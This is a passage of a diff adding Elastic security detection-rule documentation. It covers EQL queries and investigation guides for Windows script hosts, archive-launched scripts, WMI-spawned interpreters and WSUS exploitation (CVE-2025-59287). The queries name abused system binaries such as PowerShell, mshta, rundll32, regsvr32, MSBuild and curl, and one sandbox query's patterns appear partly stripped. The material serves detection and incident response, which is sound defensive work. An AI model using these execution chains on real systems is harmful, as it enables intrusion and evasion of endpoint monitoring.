from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to gather additional context and identify any related suspicious activities. + + +*False positive analysis* + + +- Legitimate software installations or updates may configure the Windows Sandbox to enable network connections or access host resources. Users can create exceptions for known software update processes to prevent unnecessary alerts. +- Developers and IT administrators might use Windows Sandbox for testing purposes, which could involve enabling network connections or accessing host files. Establishing a list of approved users or processes that frequently perform these actions can help reduce false positives. +- Automated scripts or tools that configure the sandbox for legitimate purposes, such as testing or development, may trigger the rule. Identifying and excluding these scripts from monitoring can minimize false alerts. +- Security tools or system management software might use sandbox features for legitimate operations. Users should verify and whitelist these tools to avoid misidentification as threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, specifically those related to Windows Sandbox misuse, such as "wsb.exe" or "WindowsSandboxClient.exe". +- Conduct a thorough review of the system's file system and network logs to identify any unauthorized access or data transfers that may have occurred. +- Remove any unauthorized configurations or scripts found within the Windows Sandbox environment that enable network connections or host file system access. +- Restore the system to a known good state using backups or system restore points, ensuring that any malicious changes are reversed. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar suspicious activities, focusing on process creation and command-line parameters related to Windows Sandbox configurations. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("wsb.exe", "WindowsSandboxClient.exe") and + process.command_line : ("*Enable*", + "*C:\\*false*", + "**", + "*true*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Run Virtual Instance +** ID: T1564.006 +** Reference URL: https://attack.mitre.org/techniques/T1564/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-script-executing-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-script-executing-powershell.asciidoc new file mode 100644 index 0000000000..8adb16c550 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-script-executing-powershell.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-windows-script-executing-powershell]] +=== Windows Script Executing PowerShell + +Identifies a PowerShell process launched by either cscript.exe or wscript.exe. Observing Windows scripting processes executing a PowerShell script, may be indicative of malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/operation-bleeding-bear + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Script Executing PowerShell* + + +The Windows Script Host (WSH) is an Windows automation technology, which is ideal for non-interactive scripting needs, such as logon scripting, administrative scripting, and machine automation. + +Attackers commonly use WSH scripts as their initial access method, acting like droppers for second stage payloads, but can also use them to download tools and utilities needed to accomplish their goals. + +This rule looks for the spawn of the `powershell.exe` process with `cscript.exe` or `wscript.exe` as its parent process. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate commands executed by the spawned PowerShell process. +- If unsigned files are found on the process tree, retrieve them and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Determine how the script file was delivered (email attachment, dropped by other processes, etc.). +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- The usage of these script engines by regular users is unlikely. In the case of authorized benign true positives (B-TPs), exceptions can be added. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Reimage the host operating system and restore compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("cscript.exe", "wscript.exe") and process.name : "powershell.exe" and + not ( + process.parent.name : "wscript.exe" and + process.parent.args : "?:\\ProgramData\\intune-drive-mapping-generator\\IntuneDriveMapping-VBSHelper.vbs" and + process.parent.args : "?:\\ProgramData\\intune-drive-mapping-generator\\DriveMapping.ps1" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-script-execution-from-archive.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-script-execution-from-archive.asciidoc new file mode 100644 index 0000000000..d15bc0942c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-script-execution-from-archive.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-windows-script-execution-from-archive]] +=== Windows Script Execution from Archive + +Identifies attempts to execute Jscript/Vbscript files from an archive file. The use of archives is a common delivery method of malicious scripts. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/walmartglobaltech/smartapesg-4605157a5b80 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows Script Execution from Archive* + + +Windows scripts, often used for legitimate automation tasks, can be exploited by adversaries to execute malicious code. Attackers may download scripts via browsers or file utilities, then execute them using scripting tools like wscript or mshta. The detection rule identifies such threats by monitoring script creation from internet sources and subsequent execution, focusing on unusual parent-child process relationships and script attributes. + + +*Possible investigation steps* + + +- Review the file creation event to identify the specific script file that was downloaded, noting its name, path, and extension to understand the potential threat. +- Examine the origin URL or referrer URL of the downloaded script to determine the source and assess its legitimacy or potential malicious intent. +- Investigate the parent process, such as chrome.exe or explorer.exe, to understand how the script was downloaded and whether it aligns with typical user behavior. +- Analyze the execution event of the scripting utility (wscript.exe or mshta.exe) to identify the command-line arguments used, which may provide insight into the script's intended actions. +- Check the user account associated with the script execution to determine if the activity is expected for that user or if it indicates a compromised account. +- Correlate the timing of the script creation and execution events to see if they fall within a suspicious timeframe, such as outside of normal working hours. +- Look for any additional related alerts or logs on the host that might indicate further malicious activity or lateral movement following the script execution. + + +*False positive analysis* + + +- Legitimate script automation tools may trigger this rule if they download and execute scripts from the internet. Users can create exceptions for known safe tools by excluding specific file paths or process names. +- Software updates or installations that download scripts as part of their process might be flagged. To handle this, users can whitelist specific origin URLs or referrer URLs associated with trusted software vendors. +- Internal scripts distributed via corporate intranet sites could be misidentified as threats. Users should consider excluding scripts with known internal origin URLs or specific user IDs associated with IT operations. +- Browser extensions or plugins that automate tasks using scripts may cause false positives. Users can exclude these by identifying and excluding the specific browser process names or file extensions involved. +- Frequent use of file utilities like winrar or 7zFM for legitimate script handling can be excluded by specifying trusted file paths or user IDs that regularly perform these actions. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of potentially malicious scripts and lateral movement. +- Terminate any suspicious processes identified in the alert, such as wscript.exe or mshta.exe, to stop the execution of the downloaded script. +- Quarantine the downloaded script file and any associated files to prevent further execution and facilitate forensic analysis. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and analyze the origin URL and referrer URL of the downloaded script to identify potential malicious websites or compromised sources, and block these URLs at the network level. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement application whitelisting to restrict the execution of unauthorized scripts and scripting utilities, reducing the risk of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : "wscript.exe" and + process.parent.name : ("explorer.exe", "winrar.exe", "7zFM.exe") and + process.args : + ("?:\\Users\\*\\AppData\\Local\\Temp\\7z*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\*.zip.*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Rar$*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Temp?_*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\BNZ.*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-script-interpreter-executing-process-via-wmi.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-script-interpreter-executing-process-via-wmi.asciidoc new file mode 100644 index 0000000000..f48e18954c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-script-interpreter-executing-process-via-wmi.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-windows-script-interpreter-executing-process-via-wmi]] +=== Windows Script Interpreter Executing Process via WMI + +Identifies use of the built-in Windows script interpreters (cscript.exe or wscript.exe) being used to execute a process via Windows Management Instrumentation (WMI). This may be indicative of malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows Script Interpreter Executing Process via WMI* + + +Windows Management Instrumentation (WMI) is a powerful Windows feature that allows for system management and automation. Adversaries exploit WMI to execute scripts or processes stealthily, often using script interpreters like cscript.exe or wscript.exe. The detection rule identifies suspicious activity by monitoring for these interpreters executing processes via WMI, especially when initiated by non-system accounts, indicating potential malicious intent. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific script interpreter (cscript.exe or wscript.exe) and the process it executed. Check the process name and executable path for any anomalies or known malicious indicators. +- Examine the user account associated with the process execution. Verify if the user domain is not "NT AUTHORITY" and assess whether the account is expected to perform such actions. Investigate any unusual or unauthorized account activity. +- Investigate the parent process wmiprvse.exe to determine how it was initiated. Look for any preceding suspicious activities or processes that might have triggered the WMI execution. +- Check the system for any additional indicators of compromise, such as unexpected network connections, changes in system configurations, or other alerts related to the same host or user. +- Correlate the event with other security logs and alerts to identify any patterns or related incidents that might indicate a broader attack campaign or persistent threat. + + +*False positive analysis* + + +- Legitimate administrative scripts or automation tasks may trigger this rule if they use cscript.exe or wscript.exe via WMI. To handle this, identify and document these scripts, then create exceptions for their specific execution paths or user accounts. +- Software installations or updates that utilize script interpreters through WMI can be mistaken for malicious activity. Monitor and whitelist known installation processes or update mechanisms that are frequently used in your environment. +- Custom applications or internal tools that rely on WMI for process execution might be flagged. Review these applications and exclude their specific process names or executable paths from the rule. +- Scheduled tasks or system maintenance scripts executed by non-system accounts could generate alerts. Verify these tasks and exclude them by specifying the user accounts or domains that are authorized to perform such actions. +- Security tools or monitoring solutions that leverage WMI for legitimate purposes may also be detected. Identify these tools and add them to the exception list based on their process names or executable locations. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified in the alert, such as cscript.exe or wscript.exe, that are running under non-system accounts. +- Conduct a thorough review of the affected host's scheduled tasks, startup items, and services to identify and remove any persistence mechanisms. +- Analyze the parent process wmiprvse.exe and its command-line arguments to understand the scope of the attack and identify any additional compromised systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger campaign. +- Implement additional monitoring and alerting for similar activities across the network, focusing on WMI-based script execution and non-standard process launches. +- Review and update endpoint protection policies to block or alert on the execution of high-risk processes like those listed in the detection query, especially when initiated by non-system accounts. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan = 5s + [any where host.os.type == "windows" and + (event.category : ("library", "driver") or (event.category == "process" and event.action : "Image loaded*")) and + (?dll.name : "wmiutils.dll" or file.name : "wmiutils.dll") and process.name : ("wscript.exe", "cscript.exe")] + [process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "wmiprvse.exe" and + user.domain != "NT AUTHORITY" and + (process.pe.original_file_name : + ( + "cscript.exe", + "wscript.exe", + "PowerShell.EXE", + "Cmd.Exe", + "MSHTA.EXE", + "RUNDLL32.EXE", + "REGSVR32.EXE", + "MSBuild.exe", + "InstallUtil.exe", + "RegAsm.exe", + "RegSvcs.exe", + "msxsl.exe", + "CONTROL.EXE", + "EXPLORER.EXE", + "Microsoft.Workflow.Compiler.exe", + "msiexec.exe" + ) or + process.executable : ("C:\\Users\\*.exe", "C:\\ProgramData\\*.exe") + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-server-update-service-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-server-update-service-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..19b3b77049 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-server-update-service-spawning-suspicious-processes.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-34-windows-server-update-service-spawning-suspicious-processes]] +=== Windows Server Update Service Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the Windows Server Update Service. This activity may indicate exploitation activity or access to an existing web shell backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287 +* https://hawktrace.com/blog/CVE-2025-59287 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Server Update Service Spawning Suspicious Processes* + + + +*Possible investigation steps* + + +- What does the alert-local WSUS parent-child path show? + - Focus: child `process.executable` and `process.command_line`, plus `process.parent.name`, `process.parent.executable`, and `process.parent.args`, especially "w3wp.exe" with "WsusPool" or "WsusService.exe". + - Implication: escalate when a WSUS web or service component launches a shell, PowerShell, "rundll32.exe", or "curl.exe" for interpreter, download, or proxy-execution behavior; lower suspicion only when the parent-child pair and arguments match a narrow recognized WSUS setup, cleanup, or repair pattern. +- Does the child command and binary identity fit bounded WSUS maintenance? + - Why: WSUS children can inherit service context; visible user fields may not prove human initiation. + - Focus: `process.command_line`, `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`/`trusted`, and child processes. !{investigate{"description":"","label":"Child processes of the suspicious WSUS child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: for PowerShell with script-block telemetry, anchor on `host.id` + `process.entity_id` or `host.id` + `process.pid` in a tight alert window. Reconstruct `powershell.file.script_block_id`, `powershell.total`, `powershell.sequence`, and `powershell.file.script_block_text`; missing script-block telemetry is unresolved, not benign. + - Implication: escalate on encoded script content, external retrieval, discovery, archive, remote-admin, temp-path DLL activity, or a renamed/unsigned/mismatched child; lower suspicion only when command scope, path, PE identity, and signer all match the same narrow WSUS task. Identity alone does not clear the launch chain. +- Did the child stage payloads or WSUS-content artifacts? + - Focus: process-scoped file `file.path`, `file.Ext.original.path`, `file.origin_url`, and `file.Ext.windows.zone_identifier`; missing file telemetry is unresolved, not benign. !{investigate{"description":"","label":"File events for the suspicious child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: scope by `host.id` + `process.entity_id`, or `host.id` + `process.pid` if absent; check later starts where `process.executable` equals the written path. + - Implication: escalate when the child writes scripts, DLLs, EXEs, archives, or renamed content under WSUS, IIS, temp, or user-writable paths, especially if later executed; lower suspicion only when writes stay inside the same narrow WSUS maintenance path. +- Did the child retrieve tooling, call back, or reach destinations outside the WSUS role? + - Focus: process-scoped DNS `event.action`, `dns.question.name`, `dns.resolved_ip`, and connection `destination.ip`/`destination.port`; missing network telemetry is unresolved, not benign. !{investigate{"description":"","label":"Network events for the suspicious child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: scope by `host.id` + `process.entity_id`, or `host.id` + `process.pid` if absent. Compare DNS "lookup_result" `dns.resolved_ip` with later `destination.ip` from the same process. + - Implication: escalate when the child retrieves tools from public infrastructure, connects to rare or unrelated systems, or uses destinations inconsistent with WSUS update distribution; lower suspicion when the same process reaches only recognized internal mirrors, proxies, or vendor services that fit command and parent context. +- If local findings are suspicious or unresolved, does same-host scope show broader WSUS compromise? + - Focus: related alerts on the same `host.id`, especially repeated WSUS-spawned tools and complementary webshell, credential-access, discovery, archive, or lateral-movement activity. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Range: start with the alert window; expand to 48 hours only if parent-child, command, artifact, or destination evidence remains suspicious or incomplete. + - Implication: broaden containment when related alerts corroborate WSUS compromise or post-exploitation; keep scope local when surrounding activity is limited to one fully explained maintenance action. +- Escalate for unexplained service-side execution, payload staging, suspicious destinations, or broader WSUS compromise; close only when parent-child path, command intent, service context, binary identity, artifacts, destinations, and same-host scope prove one exact recognized WSUS maintenance or validation workflow; preserve artifacts and escalate when evidence is mixed or optional telemetry is missing. + + +*False positive analysis* + + +- WSUS installation, post-install repair, cleanup, health-check, migration, or authorized CVE validation can launch bounded shell or PowerShell children from "WsusPool" or "WsusService.exe". Close only when parent `process.parent.name`/`process.parent.args`, child command, path, hash or signer, `user.id`, and `host.id` prove the same narrow task; artifact and destination telemetry should corroborate when available, and missing recovery that leaves staging or callback unresolved requires confirmation or escalation. +- Before creating an exception, validate stability across prior alerts for the same WSUS server: parent context, child path/hash/signer, exact `process.command_line`, `user.id`, `host.id`, and any bounded artifact or destination pattern. Avoid exceptions on "WsusService.exe", "w3wp.exe", `process.name`, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the parent context, child `process.executable`, `process.command_line`, signer or hash, `user.id`, `host.id`, and bounded artifact or destination evidence that proved the WSUS workflow. Create an exception only from that full stable pattern. +- If suspicious but unconfirmed, preserve the case export, process tree, child `process.entity_id`, `process.pid`, `process.command_line`, parent context, `user.id`, `host.id`, recovered staged paths, recovered DNS or destination indicators, and related-alert identifiers before containment. Apply reversible containment first: block confirmed malicious destinations, restrict inbound WSUS exposure on ports 8530/8531, limit external access to the affected service, or increase monitoring. Isolate the host only when artifact, destination, or related-alert evidence shows active compromise and the server role can tolerate disruption. +- If confirmed malicious, isolate the WSUS host or terminate the malicious child only after preserving process identifiers, command lines, parent context, hashes, staged paths, destination indicators, and related-alert evidence. Then disable the exposed WSUS service path or block inbound 8530/8531 until patched, scope other servers and accounts for confirmed indicators, remove only artifacts identified during triage, restore WSUS/IIS content, rotate exposed credentials if configuration material was accessed, apply the relevant Microsoft WSUS update, and retain case logs. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by 